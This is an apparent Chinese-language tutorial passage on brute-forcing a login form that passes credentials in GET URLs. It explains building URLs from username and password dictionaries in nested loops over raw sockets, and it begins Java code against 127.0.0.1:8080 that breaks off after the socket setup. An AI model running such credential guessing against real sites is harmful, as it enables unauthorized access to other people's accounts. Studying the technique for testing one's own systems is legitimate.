一、原理
GET请求会将参数放在URL中,如果通过GET请求登录,则会将用户名和密码放在URL中进行发送,此时我们可以通过构建URL来进行测试登录,并获取到返回的数据,来判定登录结果,来达到爆破的结果。
二、思路
我们需要通过socket的方式进行连接,并准备用户名和密码字典,依次取出字典中的值,通过两个for循环,用外层用户名,内层密码的方式构建URL,再依次发送,并接收返回的数据,判断登录结果。
此时需要注意的是,在发送了请求后,判定登录失败,则需要关闭socket,并重新建立socket进行下一次登录。
三、代码
第一种
package com.mtlk.hd;
import java.io.*;
import java.net.Socket;
import java.util.Scanner;
public class GetDemo {
private PrintWriter pw;
private BufferedReader br;
private Socket s;
private static StringBuffer responseBody = new StringBuffer("0");
public GetDemo() throws IOException, InterruptedException {
//创建流套接字,并获取输入输出流
s = new Socket("127.0.0.1",8080);
pw = new PrintWriter(s.getOutputStream(),true)